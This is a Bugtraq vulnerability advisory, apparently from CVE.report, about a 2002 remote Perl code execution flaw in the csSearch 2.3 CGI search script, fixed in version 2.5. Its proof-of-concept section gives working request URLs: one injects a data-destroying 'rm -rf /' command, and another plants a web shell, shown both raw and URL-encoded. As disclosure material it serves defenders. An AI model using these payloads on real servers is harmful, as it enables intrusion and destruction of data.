CSSearch Remote Command Execution Vulnerability

BID:4368

Info

CSSearch Remote Command Execution Vulnerability

Bugtraq ID: 4368
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 26 2002 12:00AM
Updated: Mar 26 2002 12:00AM
Credit: Discovery of this issue is credited to Steve Gustin <[email protected]>.
Vulnerable: CGISCRIPT.NET csSearch 2.3
- Apache Apache 1.3.24
- Apache Apache 1.3.24
- Apache Apache 1.3.23
- Apache Apache 1.3.23
- Apache Apache 1.3.22
- Apache Apache 1.3.22
- Apache Apache 1.3.20
- Apache Apache 1.3.20
- Apache Apache 1.3.19
- Apache Apache 1.3.19
- Apache Apache 1.3.18
- Apache Apache 1.3.18
- Apache Apache 1.3.17
- Apache Apache 1.3.17
Not Vulnerable: CGISCRIPT.NET csSearch 2.5
- Apache Apache 1.3.24
- Apache Apache 1.3.24
- Apache Apache 1.3.23
- Apache Apache 1.3.23
- Apache Apache 1.3.22
- Apache Apache 1.3.22
- Apache Apache 1.3.20
- Apache Apache 1.3.20
- Apache Apache 1.3.19
- Apache Apache 1.3.19
- Apache Apache 1.3.18
- Apache Apache 1.3.18
- Apache Apache 1.3.17
- Apache Apache 1.3.17

Discussion

CSSearch Remote Command Execution Vulnerability

csSearch is a website search script, written in Perl. It will run on most Unix and Linux variants, as well as Microsoft operating systems.

csSearch is prone to an issue which may enable an attacker to execute Perl code with the privileges of the webserver process.

For exploitation to be successful, the attacker must pass properly URL encoded Perl code in CGI parameters via a web request. For example:

http://host/cgi-bin/csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE

Exploit / POC

CSSearch Remote Command Execution Vulnerability

The following example was submitted:

Configuration data is saved with the following URL.
Note that any perl code would need to be URL encoded.

csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE

For example, the classic "rm -rf /" example would be
as follows:

csSearch.cgi?command=savesetup&setup=`rm%20-rf%20/`

Here's something a little more interesting, less than
300 bytes of code that turns csSearch into a remote
web shell of sorts.

*ShowSearchForm = *Login = sub {
print "<form method=post action=csSearch.cgi>Enter
Command (eg: ls -l)<br>";
print "<input type=text name=cmd size=99> ";
print "<input type=submit value=Execute><hr><xmp>";
$in{'cmd'} && print `$in{'cmd'} 2>&1`;
exit;
};

URL Encoded as:

csSearch.cgi?command=savesetup&setup=*ShowSearchForm%3D*Login%3Dsub{print"<form+method%3Dpost+action%3DcsSearch.cgi>Enter+Comm
and+(example:+ls+-l)<br><input+type%3Dtext+name%3Dcmd+size%3D99>+<input+type%3Dsubmit+value%3DExecute><hr><xmp>";$in{'cmd'}%26
%26print`$in{'cmd'}+2>%261`;exit;};

Solution / Fix

CSSearch Remote Command Execution Vulnerability

Solution:
This issue has been addressed in version 2.5 of the software.


CGISCRIPT.NET csSearch 2.3

References

CSSearch Remote Command Execution Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report